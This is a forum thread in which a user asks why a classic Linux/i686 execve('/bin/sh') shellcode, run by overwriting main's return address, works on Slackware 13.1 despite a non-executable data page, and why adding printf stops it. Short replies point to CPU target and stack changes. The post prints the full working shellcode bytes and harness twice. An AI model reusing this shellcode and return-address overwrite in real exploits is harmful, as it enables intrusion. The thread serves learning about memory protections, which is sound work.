basic shellcode - why it runs on my system, if .data is not executable

Greetings,

Suppose we have this piece of code, on Linux/i686
(my machine is Slackware Linux 13.1, 32 bit):

char sc[]=                 /* 24 bytes                       */     "\x31\xc0"             /* xorl    %eax,%eax              */     "\x50"                 /* pushl   %eax                   */     "\x68""//sh"           /* pushl   $0x68732f2f            */     "\x68""/bin"           /* pushl   $0x6e69622f            */     "\x89\xe3"             /* movl    %esp,%ebx              */     "\x50"                 /* pushl   %eax                   */     "\x53"                 /* pushl   %ebx                   */     "\x89\xe1"             /* movl    %esp,%ecx              */     "\x99"                 /* cdql                           */     "\xb0\x0b"             /* movb    $0x0b,%al              */     "\xcd\x80"             /* int     $0x80                  */ ;  main() {         int *ret;          ret = (int *)&ret + 2;         *ret = sc;  }

What happens in the shellcode sc[] is a system call to execve, for /bin/sh. The question is : WHY this program works ? Because if we compile it, and run pmap and gdb on it, we can see a read & exec page, from virtual address 0x08048000, page in which exists the function main(), and we see another page, read & write (but no exec), from address 0x08049000, in which exists sc[].

In main, the only thing we do is to overwrite the return-address of main() with the address of sc[], which is in a non-executable page.

Question 1 : So, WHY on my Slackware 13.1 system it works ?

(On other systems, like Ubuntu, it seems it doesn't work, only if we enable with execstack the stack - stack executable.)

(Slackware Linux 13.1 : Linux kernel 2.6.33, GCC 4.4.4, /proc/sys/kernel/randomize_va_space == 1)

Question 2 :

Suppose we have this code :

#include <stdio.h>  char sc[]=              /* 24 bytes                       */     "\x31\xc0"             /* xorl    %eax,%eax              */     "\x50"                 /* pushl   %eax                   */     "\x68""//sh"           /* pushl   $0x68732f2f            */     "\x68""/bin"           /* pushl   $0x6e69622f            */     "\x89\xe3"             /* movl    %esp,%ebx              */     "\x50"                 /* pushl   %eax                   */     "\x53"                 /* pushl   %ebx                   */     "\x89\xe1"             /* movl    %esp,%ecx              */     "\x99"                 /* cdql                           */     "\xb0\x0b"             /* movb    $0x0b,%al              */     "\xcd\x80"             /* int     $0x80                  */ ;  main() {         int *ret;          ret = (int *)&ret + 2;         *ret = sc;           printf("Security\n"); }

Why it doesn't work ? Why we don't get a shell prompt ? (Compared to question 1.) The only thing that is different is the call to printf, so the modified return address of main remains untouched, after printf().
References : http://www.enderunix.org/docs/en/bof-eng.txt .:: Phrack Magazine ::.Thank you for your help.
A.

The CPU type being compiled for may have an effect here.

Because you change what is on the stack at exit.

Try reading J Koziol 'Shellcoders Handbook'. If I were you I'd avoid phrack.